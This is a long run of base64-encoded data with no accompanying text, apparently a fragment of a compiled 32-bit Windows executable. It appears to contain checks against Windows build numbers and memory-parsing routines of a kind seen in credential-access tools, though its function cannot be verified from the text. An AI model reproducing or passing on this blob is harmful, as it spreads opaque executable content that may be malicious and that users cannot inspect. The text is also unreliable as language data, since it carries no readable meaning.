EKAAA6OMq/f+NdQHpNwEAAIvO6NQq/f+L2I1GAQPDiVwkLIvIiUQkGOi+Kv3/iUQkMIP7A3UfuHZmAABmOwZ1FWpzWDpGAnUNi3QkGIl0JDzp7QAAAItEJCwz2yFcJBQz/4P4BXUjuWNhY2g7DnUaamVZOk4EdRK/AAAGAMdEJBT8KQkQuzhaCxCJfCQog/gEdTVQVmgUKgkQ6HLCAwCDxAyJfCQohcB1HotMJBy4hwAAACPIx0QkFDAqCRCL+IlMJCi7UFoLEIt0JBiF23RziwMzyYlMJCTrLYvI6Asq/f+LTCQwO8h1ElH/dCQwVugdwgMAg8QMhcB0I4tEJCRAiUQkJIsEw4lEJCyFwHXLVv90JBhoOCoJEOlv/f//i0wkJItMywSFyXTli8Elf////ztEJCh/HvfXI3wkHAv5iXwkHItEJDBAA/CAPgAPhb7+///rS1b/dCQYaEwqCRDo0yb9/4PEDMdEJCADAAAA61uNRgKZUlDoeBX9/4voWVmF7Q+Ervz//1ZXVegNvAMAg8QMZscELgAAg+O/iVwkHIt0JDyLzuhYEP3/i8iLRCRMiQiFyXUkVmhkKgkQ6HUm/f9ZWcdEJCABAAAAi0wkVIkBVeixFv3/WTPti0wkSItEJByJAYtMJFCLRCQgiSlfXl1bg8Q0w4PsFIvCiUwkDDPJiUQkEFNVVokIi/EzwIl0JAw5BZReCxBXiz2YXgsQD0T4iUwkFDPtuAEAAgBFOQ1sXwsQUQ9F6IHl5wD2/2iYAQAAiWwkIOjbF/3/i9hZWYXbD4SOAgAAhf90HzPJQehxEf3/iUMMhcB1EFPoFxb9/zP/WYvf6W0CAACLSwzoZxH9/8dDOP8AAACNg0wBAADHQxQCAAAAjXtcx0NQBnk78L5kKQgQiUMQuvQsCBBqDFnzpTP/vsutAxCJu4gAAADGQ0MBxkNI/6FAXwsQUYlDKIvLoURfCxCBSxhgABABVolDLIl7TMeDjAAAAP///39XagGJuzgBAACJuzQBAACJuzABAACJuzwBAADoaPn//4PEDLr0LAgQi8tWV2oD6FX5//+DxAy69CwIEIvLVldqAuhC+f//g8QMunQqCRCLy2hCrgMQV2oB6Cv5//+DxAy6fCoJEIvLVmoBagHoF/n//4PEEIB7RQAPhWcBAABXaPQsCBCyAYvL6LT0/v+LVCQkiUMIjUQkHFCNRCQciWswUI1EJChTUOj6+f//i9CDxBiF0nQ5agddO9V1B4vL6DIY/f+LdCQUM8mF9riMDQkQVg9EwVBSU+ilJ/3/Vui2FP3/i3QkJIPEFOn+AAAAi0QkGIt0JBANAAEAAIsLi9ZQi0MQV4PABFBT6FOo/f+DxBCLy4XAdCg9CgwAAGoHXQ9ExYlDNIXAdQroDCf9/+m5AAAAi9Do3Sb9/+mtAAAAi1MQi1IE6P/2/v+LSxCJQQyAe0UAdQyLQxCLQAyKQE2IQ0Iz0ovL6N72/v+LSxCJQRyLQxDHAIQqCRCLQxDGQAgDi0MQx0AQjCoJEItDEMZAGAGAe0UAx0NQl6YpoHVKiXs0ObvoAAAAdAkz0ovL6GQm/f+Ly+i1Gv//i8vomff//4vLhcB1Eug2NP//i8voh/f//4lEJBzrEIvQiUM06DQm/f/rBIt0JBBqB12LSwzoEw/9/+sFM/9qB12Ly+hY9///iUQkHDvFdQ0z0ovL6Dfz//+L3+sLhcB0B8dDUJASd0uLRCQgVokY6GoT/f+LRCQgWV9eXQ+2wFuDxBTDUWg8JgkQUWiwKgkQaJQqCRBqC+iVI/3/g8QUagtYWcNRaDwmCRBRaMQqCRBolCoJEGoV6HUj/f+DxBRqFVhZw1FoPCYJEFFozCoJEGiUKgkQag7oVSP9/4PEFGoOWFnDU1aL8YvaV4X2dFSF23RQ6Ekl/f9G60GLy4vGihA6EXUahNJ0EopQATpRAXUOg8ACg8EChNJ15DP/6wUb/4PPAYvO6BYl/f8D8IX/dBiNTgHoCCX9/4PGAgPwgD4AdbgzwF9eW8ONRgHr9+iR////M8k5TCQED5XBhcB0EFGLyOhyM///WTPJhMAPlcGLwcNTVVZXaBgrCRCL2ovpM//oQ7z8/1kzyUHoOgAAAIv3he1+JoH/FQAAQHQe/zSzaOAqCRDoH7z8/1lZiwyz6MsAAABGi/g79XzaM8noBwAAAF9eXTPAW8NTVVZXi/mF/3RLaASPCxBoGI8LEGgAjwsQ/xUcpwcQgSUEjwsQ/z8AAGoUXWoAagD/FXCnBxCFwHkUPQYBAYB0DVBoIC4JEOi0u/z/WVnollP8/+sDahhdahW+QEgIEFuLBosEKIXAdCj/0IXAeSJQiwa5lC4JEIX//zC4iC4JEA9EwVBooC4JEOhyu/z/g8QQg8YEg+sBdceF/19eXVt1Euj9U/z//xV0pwcQM8noTbz8/zPAw1FTVleL+YX/dG5qAGoAV/8VFKQHEIvYhdt0XY0MG1FqQP8VQKQHEIvwhfZ0S1NWV/8VFKQHEDvYix0kpAcQdAVW/9OL8IX2dC8PtwaD+CF0GIP4KnQJi87oJgAAAOsSjU4C6G0/AQDrCI1OAuiOxAAAVov4/9PrBIt8JAyLx19eW1nDg+wkU1VWV41EJBwz/1CL91GJdCQw/xWMpQcQiUQkFIvviWwkIIvfiXwkEIXAD4TSAgAAOVwkHA+OyAIAAGjsLgkQ/zDo3esBAIvwWVmF9nRpi0wkFCsB0fiNBEUCAAAAUGpA/xVApAcQi+iJbCQghe10UYtEJBSLAIvQiUQkGI1KAmaLAoPCAmY7x3X1K9GLzitMJBjR+o1BBNH4O8JzB41GBIlEJBCD4f5R/3QkHFXoOrUDAIPEDOsKi0QkFIsAiUQkEIv3i8dqFYl0JChZZjvxD4PRAAAAhe10Hw+3xosEhUBICBD/MFXorCsCAFlZhcB0B4vH6Z4AAAAzwECDfCQQAIlEJDAPhIwAAACJfCQshdsPhYAAAACLfCQUi2wkLA+3xot0JBCJRCQYiwyFQEgIEGY7aQxzUg+3xWvQDItBEIlUJCz/dBAEVuhKKwIAi9j321kb21mDwwF0JYtEJBiLBIVASAgQi0gQjUcEUItEJCBIUItEJDT/FAFZWYlEJCiLRCQYRYXbdKGLdCQkM/+LbCQgi0QkMEaJdCQkahVZhcAPhCb///+FwHVgVWj4LgkQ6A+5/P9ZWWoVvkBICBBfiwb/MGhcLwkQ6Pe4/P+LBllZg3gEAHQP/3AEaGgvCRDo4Lj8/1lZiwaDeAgAdA//cAhoeC8JEOjJuPz/WVmDxgSD7wF1uunWAAAAhdsPhdkAAACBxv//AAAPt96LBJ1ASAgQ/zD/dCQUaIgvCRDokrj8/4sEnUBICBD/MGgMMAkQ6H+4/P+LBJ1ASAgQg8QUg3gEAHQP/3AEaCgwCRDoYrj8/1lZiwSdQEgIEIN4CAB0D/9wCGhIMAkQ6Ea4/P9ZWWjUaQgQ6Dq4/P9ZiwydQEgIEDPAZjtBDHNGD7fHa/AMi0EQ/3QwBGhcLwkQ6BO4/P+LBJ1ASAgQWVmLQBCLRDAIhcB0DVBoaC8JEOj0t/z/WVmLDJ1ASAgQR2Y7eQxyumjUaQgQ6Nq3/P9ZizUkpAcQhe10A1X/1v90JBT/1ot0JChfi8ZeXVuDxCTDVYvsUYNl/ACNRfxWUP91CP8VjKUHEIvwhfZ0OIMlJIkLEABo/gEAAGpAxwUoiQsQ/wAAAP8VQKQHEKMgiQsQhcB0CotN/IvW6BT7//9W/xUkpAcQoSCJCxBei+Vdw4N8JAQDdTxWi3QkDGhsMAkQ/3YM6J4wAgBZWYXAdBNoeDAJEP92DOiLMAIAWVmFwHUQM8BQUFBohQQAAP8VtKIHEF4zwMIIAFWL7IHs5AAAAFNWi/HHRfwUiQsQV42FHP///4vWajCNTfiJRfjo7av8/1mFwA+EpwMAAIuFSP///zUsF1rjiQYPhJQDAABqCI1F7IvWW1ONTfiJRfjovav8/1mFwA+EdwMAAItF8IPA/oP4Ag+HaAMAAItF7IkGhcAPhFsDAACNhVj///+L1miEAAAAjU34iUX46ICr/P9ZhcAPhDoDAACLjVz///+FyQ+E2gEAAIH5//8AAA+HzgEAAIG9ZP///wCAAAAPh74BAABR6KR5/P9QaIQwCRDoN7b8//+1ZP///2i0MAkQ6Ce2/P+LhWj///+DxBSJBoXAdFP/tWT///9qQP8VQKQHEIlF+IXAdD7/tWT///+L1o1N+Oj4qvz/WYXAdBKLlWT///+LTfhqAOgO9vz/6w3/NmjQMAkQ6NC1/P9ZWf91+P8VJKQHEL/UaQgQV+i6tfz/i4Vc////JQAeAACBPQSPCxC4CwAAWQ+DhQAAAD0ABgAAdWKLRbiFwHQOg/gFdwmLDIVoAwgQ6wIzyVBRaFAxCRDodLX8/4PEDDPJMsA7TdBzDAqEDXT///9BhMB074TAdCNogDEJEOhOtfz/i1XQjY10////agDobvX8/1foOLX8/4PEDIN9mAAPhKEAAABonDEJEOghtfz/i1WYjU2c6389AAYAAHVii0XAhcB0DoP4BXcJiwyFaAMIEOsCM8lQUWhQMQkQ6O+0/P+DxAwzyTLAO03YcwwKhA18////QYTAdO+EwHQjaIAxCRDoybT8/4tV2I2NfP///2oA6On0/P9X6LO0/P+DxAyDfaAAdCBonDEJEOigtPz/i1WgjU2kagDow/T8/1fojbT8/4PEDIuFXP///yUAHgAAPQAEAAAPhTwBAACBPQSPCxCwHQAAcwe/NAEAAOsVgT0EjwsQ8CMAABv/g+fIgcdkAQAAi4VY////NSwXWuOJBg+EAQEAAI1F9IvWagSNTfiJRfjoLKn8/1mFwA+E5gAAAItF9IXAD4TbAAAAjU3gA8eJTfiL1lONTfiJBugDqfz/WYXAD4S9AAAAi0XgiQaFwA+EsAAAAI2FTP///4vWagyNTfiJRfjo2Kj8/1mFwA+EkgAAAIuVVP///41CB8HoA4PgByvYhcCNQg+NSwgPRMvB6ASDwALR6QPBa8AKD7bIjXjsjUH8qA90DYPB/GoQg+EPWCvBA/iDxxRXakD/FUCkBxCJRfiFwHQ8V4vWjU346G6o/P9ZhcB0I2i4MQkQ6Fqz/P+LTfiL12oA6H7z/P9o2DEJEOhEs/z/g8QM/3X4/xUkpAcQX15bi+VdwzPS6xwPtkECg/hEdA6D+El0IoP4TXUOajDrAmogWAPIORF14MP/MWhQMgkQ6ACz/P9ZWcNSi1EIg8EQg+oQ6B7z/P9Zw4N8JAQAVovxdC0r8gN0JAiDPgB0Iv90JAxo0DIJEOjJsvz/i87okf///2jUaQgQ6Liy/P+DxAxew1WL7FFRg2X4AFZXi30Mi/LHRfwUiQsQiU8EhfZ0UP91CGjQMgkQ6Iiy/P9ZWVZqQP8VQKQHEIlF+IXAdCZWi9eNTfjocKf8/1mFwHQNi034i9ZqAOiK8vz/Wf91+P8VJKQHEGjUaQgQ6Eay/P9ZX16L5V3DVYvsg+w0U1ZXi/nHRfgUiQsQjUXMi9dqFI1N9IlF9Oggp/z/WYXAD4RnBAAAi0XYiQeFwA+EWgQAAI1F4IvXagyNTfSJRfTo+Kb8/1mFwA+EPwQAAP914GpA/xVApAcQi/CF9g+EKgQAAP914IvXiXX0jU306Mqm/P9ZhcAPhAoEAAAPt13oaNwyCRDorrH8/1mLTeiLwcHoEIPoAQ+EOQIAAEiD6AF0EVFo+DMJEOiLsfz/WenSAwAAi8OFwHQOg/gLdwmLBIXMBQgQ6wIzwFFQaPgyCRDoY7H8/4PEDIF95FlLU00PhKEDAACBfeRLUlNNdAuNReRQaHAzCRDrr6EEjwsQPbgkAAAPg5YAAACLRjSJReyFwHQWi08EjUXsUGgQMwkQagRa6F7+//9ZWYtGPIlF7IXAdBmLViCNReyLTwRQaCgzCRDB4gLoO/7//1lZi0ZwiUXshcB0GYtWUI1F7ItPBFBoQDMJEMHiAugY/v//WVmLhqwAAACJReyFwA+EBgMAAIuWjAAAAItPBI1F7FBoWDMJEMHiAujr/f//6Q7///891zoAAA+DggAAAItGNIlF7IXAdBaLTwSNRexQaBAzCRBqBFrovf3//1lZi0Y8iUXshcB0GYtWII1F7ItPBFBoKDMJEMHiAuia/f//WVmLRnCJReyFwHQZi1ZQjUXsi08EUGhAMwkQweIC6Hf9//9ZWYuGtAAAAIlF7IXAD4RlAgAAi5aUAAAA6Vr///+LRhiJB4XAD4RNAgAAjUX8i9dqBI1N9IlF9OjypPz/WYXAD4QyAgAA/3X8akD/FUCkBxCL2IXbD4QdAgAA/3X8i9eJXfSNTfToxKT8/1mFwHRLi1YYi8toEDMJEP9zSOi8/P//i1YYi8toKDMJEP9zWOiq/P//i1YYi8toQDMJEP9zOOiY/P//i1YYi8toWDMJEP9zPOiG/P//g8QgU/8VJKQHEOmxAQAAi8Mz24XAdA6D+Ah3CYsEhewECBDrAovDUVBo+DIJEOg/r/z/oQSPCxCDxAw9QB8AAA+DgAAAAItGDIP4BnMJiwyFVAMIEOsCi8tQUWhQMQkQ6A2v/P+DxAyL04rLD7fCO0YQcw4rRhADReAKDDBChMl06r/UaQgQhMl0I2iAMQkQ6N2u/P+LVhBZi03gK8pTA87o/O78/1lX6MWu/P9Z/3YYaLQwCRDot678/4tWGI1OHOnqAAAAPbgkAACLRgxzcYP4BnMJiwyFVAMIEOsCi8tQUWhQMQkQ6Iau/P+DxAyLy4rDD7fRO1YQcwkKRDJkQYTAdO+/1GkIEITAdB9ogDEJEOhbrvz/i1YQWVONTmTofu78/1lX6Eeu/P9Z/3YgaLQwCRDoOa78/4tWII1OJOtvg/gGcwmLDIVUAwgQ6wKLy1BRaFAxCRDoFa78/4PEDIvLisMPt9E7VhBzCQpEMiRBhMB077/UaQgQhMB0H2iAMQkQ6Oqt/P+LVhBZU41OJOgN7vz/WVfo1q38/1n/djRotDAJEOjIrfz/i1Y0jU44U+js7fz/g8QMV+izrfz/WVb/FSSkBxBfXluL5V3DVYvsg+T4g+wci1UMjUQkCItNCFNWVzPbU1BoDDgJEIlcJBzoAvD8/4PEDIXAD4QYAQAAi0wkFI1EJCBQjVQkKOg9kfz/WYXAD4TqAAAAi0wkJOjrc/z/izUkpAcQi/iF/w+EyQAAAIvXM8noDHX8/4tUJCCNRCQYi0wkJFNQjUQkJFBTU/91DI1EJCj/dQhQ6JoPAACDxCCFwA+EiQAAADlcJBB0Fv90JBBoFDgJEOjwrPz/WVn/dCQQ/9aLVQyNRCQUi00IU1BoODgJEOhY7/z/g8QMhcB0J/90JBiLVCQgi0wkGOiUj/z/WYXAdDT/dCQUaEA4CRDop6z8/1nrImh0OAkQ6Jqs/P+LVCQcWYtMJBzoi+r8/2jUaQgQ6IKs/P9Z/3QkHP/Wi8/o9nP8//90JCT/1usT/xU0pAcQUGiIOAkQ6Fus/P9ZWV9eM8Bbi+Vdw1WL7IPk+IPsPFOLXQyL01ZXi30IM/ZqAliJRCQ8i8+45HkIEIl0JBhQiUQkSI1EJDhQaPw4CRCJdCQsiXQkMIl0JBzHRCREEAAAAIl0JEzogu78/4PEDI1EJBCL04vPVlBoCDkJEOhr7vz/g8QMjUQkFIvTi89WUGggOQkQ6FTu/P+DxAyFwHQTi0wkFI1EJCBQjVQkKOiE6/z/WVZWaDA5CRCL04vP6Cru/P+DxAyL04XAagRZD0XxM8BQUGgkwQgQi8/oDe78/4PEDIXAdAaBzgAAACAzwIvTUFBoQDkJEIvP6O7t/P+DxAyNTCQ499iL0xvAI8GLz4lEJBQzwFBQaFA5CRDoy+38/4PEDIXAagFYagJZ/3QkNA9FwWhUOQkQiUQkJOglq/z/g3wkGAC4DGgIEA9FRCQYUGgUOAkQ6Aur/P9ofDkJEOgBq/z/g8QUM8CL+IvGi8/T6KgBdBP/NL2wCwgQaIylCBDo36r8/1lZR4P/CHLd98YAAAAgdBFoJMEIEGiMpQgQ6MCq/P9ZWWjUaQgQ6LSq/P/HBCScOQkQ6Kiq/P+LfCQYWYX/dAiLTwToHIz8/2jUaQgQ6I2q/P/HBCS8OQkQ6IGq/P+LVCQkM8BZi0wkJFDooOr8/8cEJNSvCBDoZKr8/1mLTCQ0jVECZosBg8ECZjtEJBh18yvK0fmNBE0CAAAAiUQkMI1EJChQVlczwFCNRCQwUP90JCSNRCRIUP8VhKEHEIs9JKQHEIXAD4SiAAAAi0wkLOipcPz/i/CF9nQQi9YzyejUcfz/i87od3H8/77UaQgQVujqqfz/WYtNCDPAUI1EJBSL01BoODgJEOhY7Pz/g8QMhcB0J/90JCiLVCQwi0wkFOiUjPz/WYXAdDv/dCQQaEA4CRDop6n8/1nrKWjcOQkQ6Jqp/P+LRCQgi1QkLA0AABAAWYtMJCxQ6LLp/P9ZVuh7qfz/Wf90JCz/1+sT/xU0pAcQUGjwOQkQ6GGp/P9ZWYN8JCQAdAb/dCQk/9dfXjPAW4vlXcNVi+yD5PiD7HSLVQyLTQhTVjP2V1aL/ol0JChWaGA6CRCJdCQ8iXQkWIl8JGSJfCRQiXQkQIl0JCSJdCQgiXQkVIl0JEiJdCRMiXQkXIl0JGCJdCQ0iXQkKIl0JDjobev8/4tVDIPEDItNCIlEJFyNRCQYiXQkEFZQaAw4CRDoTOv8/4PEDIXAD4QLCAAAi0wkGI1EJGBQjVQkPOiHjPz/WYXAD4T7BwAAi0wkOOimdfz/i9iF2w+E0QcAAIvT6NJ2/P9qTFhQakBmiUQkcmaJRCRw/xVApAcQiUQkbIXAdFNqe1lmiQiNcwyLfCRsahJZg8cC86UPt0wkaItEJGxqfdHpWmaJVEj+jUQkcFCNRCRsUP8VKKcHEP90JGwzyYXAD5nBiUwkFP8VJKQHEIt8JFgz9otVDI1EJBSLTQhWUGh0OgkQ6IXq/P+DxAyFwHRDjUQkIFD/dCQY/xXgoAcQhcB0G41EJBxQ/3QkJP8VjKAHEP90JCD/FSSkBxDrIv8VNKQHEFBogDoJEOi5p/z/WVnrDYtMJBiNVCQc6BUWAACLVQyNRCQ8i00IVlBoADsJEOgY6vz/g8QMhcB0E4tMJDyNRCRMUI1UJCjoSOf8/1mLVQyNRCRAi00IVlBoJMEIEOjo6fz/g8QMhcB0F4tMJECNRCREUI1UJDToGOf8/4t8JEhZObOAAAAAD4SdAwAAi0NgC0NkD4SRAwAAi5OIAAAAhdJ0EIPCBDPJ6IMPAACL8IX2dR+LRCQchcAPhKcAAAAz0ovI6GgPAACL8IX2D4SSAAAAaBA7CRDo6ab8/1mLzujFEQAA9kNcBHQL9kYIAnQOjVZY6w32RggBjVYwdQSLVCRghdJ0U4uLgAAAAI1EJBRQjUQkHFBqFOgBgfz/g8QMhcB0QIuTiAAAAIXSdAqDwgSLzuh4DwAAi1QkGI1MJHAz9jPAOUQkEFb/dCQYD0TI6F8MAABZWesNaFg7CRDoYqb8/1kz9vZDXAIPhBsBAACDfCQwAA+ErwIAAIX/D4SnAgAAg/8sagRYD0TwK/6D/ygPhYkAAABo2DsJEOgkpvz/A3QkNDP/WVdqKFqLzuhC5vz/xwQk1GkIEOgGpvz/WYuLgAAAAI1EJBRQjUQkHIvWUGoU6EWA/P+DxAyFwHQHaEQ8CRDrJouLgAAAAI1EJBRQjUQkHFBqFI1WFOgdgPz/g8QMhcB0DmhkPAkQ6LOl/P9ZV+tSaIA8CRDpBAIAAGgoPQkQ6Jul/P8DdCQ0i9dZagCLzui75fz/xwQk1GkIEOh/pfz/WYuLgAAAAI1EJBRQjUQkHIvWUFfov3/8/4PEDIXAdLBqAIt8JBSNTCR0/3QkGItUJCAzwIX/D0TI6DALAABZWemjAQAAg3wkHAAPhJQBAACLVQyNRCRIi00IVlBobD0JEOif5/z/i3QkVIPEDIXAD4SYAAAAi3wkXLmAPQkQhf+4YDoJEA9EwVBWaJA9CRDo66T8/4uTgAAAAI1EJCCLS1yDxAxQjUQkHFBX/3QkKFbouX38/4PEFIXAdEaLg4gAAACFwHQFjVAE6wIz0lZRi0wkJGoAagDoCA8AAIt8JCCNjCSAAAAAi1QkKDPAagD/dCQohf8PRMjocQoAAIPEGOsPaOg9CRDoc6T8/1mLfCQQg3wkJAAPhMwAAABoiD4JEOhZpPz/i3wkUIvXWYtMJCRqAOh35Pz/WYP/EHUHaLw+CRDrEYP/FHUHaNg+CRDrBWj0PgkQ6CSk/P+LVCQojUQkGFmLi4AAAABQjUQkHFD/dCQkV+j3ffz/g8QQhcB0WIuDiAAAAIXAdAWNUATrAjPSM8CD/xRWD0REJChRi0wkJFAzwIP/EA9ERCQwUOgxDgAAi3wkII2MJIAAAACLVCQoM8BqAP90JCiF/w9EyOiaCQAAg8QY6w9oAD8JEOico/z/WYt8JBCLi4wAAACFyQ+EmQIAAItDeAtDfA+EjQIAAIPBDOgfDwAAi/CF9nRjaKA/CRDoZaP8/1mLzujWDwAAi1YgjUQkIIuLjAAAAFCNRCQYUI1EJCBQ/3Yc6O1//P+DxBCFwHQf/3QkIItUJByNTCR0/3QkGDPAhf8PRMjoCQkAAFnrCmjoPwkQ6A2j/P9Zi1UMjUQkUItNCDP2VlBofEAJEOh65fz/g8QMhcAPhJoAAABoiEAJEOjfovz/WYtMJFCNRCRkUI1UJGDoqob8/1mFwHR4i3QkXI1EJCCLi4wAAABQjUQkGFCNRCQgUP92FI1WGOhTf/z/g8QQhcB0OYuLjAAAAI1WGGoB/3YUg8EM6GEOAAD/dCQoi1QkJI1MJHz/dCQgM8A5RCQgD0TI6FcIAACDxBDrC2joPwkQ6Fmi/P9ZVv8VJKQHEDP2i1UMi00IVlZo0EAJEOjD5Pz/g8QMhcAPhEIBAABo2EAJEOgoovz/i1UMjUQkLFmLTQhWUGgIQQkQ6Jfk/P+DxAyFwA+FnAAAAItVDI1EJCiLTQhWUGgkwQgQ6Hbk/P+DxAyFwHV/i1UMjUQkVItNCFZQaBBBCRDoWeT8/4PEDIXAdRaNTCQ06JCU/P+FwHQJi0QkNItwDOsEi3QkVIX2dDlqLlboG9EBAFlZhcB0K1ZoIEEJEOiVofz/jUQkNLoAEAAAUIvO6AyV/P+LfCQ4g8QMhcB0E4v36xNoYEEJEOhrofz/WYt8JCyLdCQohfZ0R1ZoAEIJEOhTofz/i1QkQI1EJBxQjUQkJIvLUFbokYD8/4PEFIXAdCqLVCQYjUwkcDPAOUQkEGoA/3QkGA9EyOgJBwAAWesKaEhCCRDoDaH8/1mF/3QHV/8VJKQHEIN8JDQAdAr/dCQ0/xXkoAcQi0QkHIXAdAdQ/xUkpAcQi0QkJIXAdAdQ/xUkpAcQi0QkMIXAdAdQ/xUkpAcQi8vopG78//90JDj/FSSkBxDrC2jIQgkQ6Kag/P9ZX14zwFuL5V3Dg+xwM8BTi1wkfIvTVYtsJHyLzVdQiUQkIIv4iUQkJIlEJCiJRCQUiUQkEIlEJBiJRCQcjUQkIFBoDDgJEOjg4vz/g8QMhcAPhMYCAACLTCQcjUQkLFCNVCQs6BuE/P9ZhcAPhLYCAACLVCQsi0wkKFborG/8/4vwhfYPhIYCAACL1ug0cfz/V41EJCiL01BodDoJEIvN6Ifi/P+DxAyFwHQsjUQkGFD/dCQo/xXgoAcQhcB0Bot8JBjrE/8VNKQHEFBoWEMJEOjQn/z/WVlqAI1EJBiL01BobD0JEIvN6D/i/P+DxAyFwHQ6i0wkFDPbjVECZosBg8ECZjvDdfUryo1EJESLVCQU0flqFFCNBAm5BIAAAFDo4U/8/4PEDIlEJBzrMzPAi9NQjUQkLIvNUGjUQwkQ6Ojh/P+DxAyFwHQUi0wkKI1UJERqFOiu3vz/WYlEJBwz241uBIX/dRM5XhwPhH8BAACLRhiLAOlyAQAAO14cD4N0AQAAjUQkEFBX/xWMoAcQhcAPhEsBAACL1TPJ6HAHAACL+IX/dRGLTCQQM9LoXwcAAIv4hf90YfZHCAJ0W1No4EMJEOjdnvz/WVmLz+i4CQAAjUQkWFCNRCQ4UFGLThiNV1iLDJnoiH78/4PEDIXAD4TjAAAAi9WLz+iSBwAAi04YjUQkWFCNVCQ4iwyZ6DAFAABZ6cAAAACDfCQcAA+EtQAAAFNoKEQJEOh3nvz/M/+NTCRMV2oUWuiY3vz/aNRpCBDoXp78/4tMJCCDxBCNUQJmiwGDwQJmO8d19SvKjUQkbNH5jVQkRGoUUI0ETQIAAAC5BIAAAFD/dCQcahToRFL8/4PEFIXAdE6NRCRYUI1EJDhQUYtOGI1UJHiLDJnozn38/4PEDIXAdC3/dCQUjUQkSIvVUYtMJBhQV+hJCAAAi04YjUQkaFCNVCRIiwyZ6G0EAACDxBT/dCQQ/xUkpAcQi0YYiwSYQ41oBIt4RIX/D4WD/v//g3wkGAB0Cv90JBj/FSSkBxCLzuhtbvz//3QkLP8VJKQHEF7rC2hwRAkQ6H+d/P9ZX10zwFuDxHDDVYvsg+T4g+w8U4tdEFYz9olUJDBXVovGiUwkMItNDIv+Vmj8RAkQi9OJdCQgx0QkRBAAAADHRCRICwAAAIl0JEzHRCRQ5HkIEIl8JDSJdCQkiXQkHIlEJCiJRCQs6Jnf/P+LTQyDxAyJRCQki9ONRCQwVlBoaDUJEOh93/z/g8QMhcB0F4tMJDCNRCQQUI1UJCzordz8/4t8JCxZi00MjUQkFFZQaGw9CRCL0+hK3/z/i00MjUQkPIPEDIvTVlBoIDkJEOgy3/z/g8QMhcB0G4tMJDCNRCQgUI1UJBzoYtz8/4tEJCRZiUQkHItNDIvTVlZoQDkJEOj/3vz/g8QMjUwkOPfYi9MbwFYjwYtNDFZoMDkJEIlEJDzo3d78/4PEDIvOhcBqBFoPRcqJTCQoi0wkLOjbYvz/iUQkDIXAD4T/AQAAjUgY6HYDAACLXCQQiUQkIIXAdRKF/3QEhdt1Cjl0JCQPhM4BAAA5dSR0D/91JGgYAQkQ6Pmb/P9ZWTl0JCR0C2gQRQkQ6Oeb/P9ZOXQkIHQUaFRFCRDo1pv8/1mLTCQg6OoDAACF/3QiaHxFCRDovpv8/1lWi9OLz+jj2/z/xwQk1GkIEOinm/z/WYtcJDCF23QgaKRFCRDolJv8/1mLSwToEH38/2jUaQgQ6IGb/P9Z6wWDTCQoAYtcJBiF23QkaMxFCRDoZ5v8/4tUJCBZVovL6Irb/P/HBCTUaQgQ6E6b/P9ZOXQkFHQQ/3QkFGj0RQkQ6Dmb/P9ZWYtMJCCLRRiLXRSFyXRbhdt0CoXAdAaJRCQg6wiLVCQciVQkIIXbdAaL04XAdQSLVCQY/3QkFI1BGItMJDBqFFD/dSD/dRxWVv90JDxS/3UIi1QkXOjFcvz/i/CDxCiF9g+FlAAAAItFGItMJBCF/3QEhcl1B4N8JCQAdH6F23QGi9CFwHUEi1QkHIXbdASFwHUEi1wkGP90JBRRi0wkNFf/dSD/dRz/dCQ8/3QkSFKLVCRUU/91COhicvz/i/CDxCiF9nQehf90MYtEJBCLXCQMhcB0KVCL141LGOjVAQAAWesbhf91E/8VNKQHEFBoKEYJEOg/mvz/WVmLXCQMi8votGH8/4tEJBiLHSSkBxCFwHQDUP/Thf90A1f/01+Lxl5bi+Vdw1WL7IPsFFNWV2i4RgkQi/qL8ej6mfz/i1UIi89qAOge2vz/u9RpCBBT6OOZ/P9qFI1F7IvXUP91CLkEgAAA6C5K/P+DxBiFwHQxaMxGCRDovZn8/2oAahRajU3s6ODZ/P9T6KqZ/P+DxAyF9nQNahSNVeyLzugVAQAAWVeLPSSkBxD/14t1DIX2dBxo4EYJEOh8mfz/i87oI9v8/1Pob5n8/1lZVv/XX15bi+Vdw1FTVVZXaPRGCRCL+ovx6FCZ/P+LTkTo9tr8/8cEJPxGCRDoPJn8/41OBOiw2vz/vdRpCBBV6CmZ/P9oCEcJEOgfmfz/agBqEFqLz+hD2fz/VegNmfz/aCBHCRDoA5n8/4tMJDBqAGoUWugl2fz/VejvmPz/g8QgjUQkEFD/dkT/FYygBxCFwHQhagBR/3QkIItMJByNVgRX6CsDAACDxBD/dCQQ/xUkpAcQX15dW1nDixXMZQsQVleL8b/MZQsQ6xczyYsEjjtEigh1CkGD+QR18YvC6wiLEjvXdeUzwF9ew4PsFFNVVleL8TP/i+qF9nR6he10dotcJCiF23Ru6K3///+FwHVwg/sUdBdqFI1EJBSL1VBTuQSAAADoo0j8/4PEDGosakD/FUCkBxCL0IXSdESNegiD+xSlagVZpaWljXQkEA9E9Y16GPOlodBlCxAz/4lCBEfHAsxlCxCh0GULEIkQiRXQZQsQ6wtoOEcJEOjtl/z/WYvHX15dW4PEFMNWi/GF9nREaLBHCRDo0Zf8/41OCOhF2fz/xwQkvEcJEOi9l/z/xwQkwEcJEOixl/z/agBqFI1OGFro1Nf8/2jUaQgQ6JqX/P+DxAxew1NVVos13GULEIvZV4v6vdxlCxDrYIXbdBT/dhxT6EYJAgBZWYXAdQUz0kLrAjPShf90HIN+CAB9FjPJiwSPO0SODHULQYP5BHXxM8BA6wIzwIXbdBaF/3QEhdLrEIXSdBKDfggAfAyLxusQhf90BIXAdfSLNjv1dZwzwF9eXVvDVovxM8BXi/qF9nQ0hf90MItWCIXSeClQUWoA9sICjUZEWQ9FyPbCAVFqAI1GIIvXWQ9FyFGLThzoPQEAAIPEEF9ew1FTi9lVVleLaxwz9o1NAmaLRQCDxQJmO8Z19ItDCCvpuQAAAIDR/YXBdRSF0nQQi/KNewwLwaWlpaWJQwgz9oN8JCAAdBuLTCQgjVECZosBg8ECZjvGdfUrytH5jTwJ6wSLfCQg9kMIAYl8JBB1YIt0JBiF9nUgOXQkIHRSi1QkII1zIGoQVle5AoAAAOigRvz/g8QM6w6NeyClpaWli3wkEI1zIGoUjUMwi9ZQjQRtAgAAALkEgAAAUP9zHGoQ6DBK/P+DxBSFwHQEg0sIAfZDCAJ1WYt0JByF9nUgOXQkIHRLi1QkII1zRGoUVle5BIAAAOg6Rvz/g8QM6wtqBY17RFnzpY1zRGoUjUNYi9ZQjQRtAgAAALkEgAAAUP9zHGoU6M1J/P+DxBSDSwgCX14zwF1AW1nDU1VWV4v5M9uL6oX/dF/o8/3//4vwhfZ1OGiQAAAAakD/FUCkBxCL8IX2dExX6NYGAgCJRhyh4GULEIlGBMcG3GULEKHgZQsQWYkwiTXgZQsQ/3QkIIvVi87/dCQc/3QkHOhj/v//g8QMi9jrC2jYRwkQ6CSV/P9ZX15di8Nbw1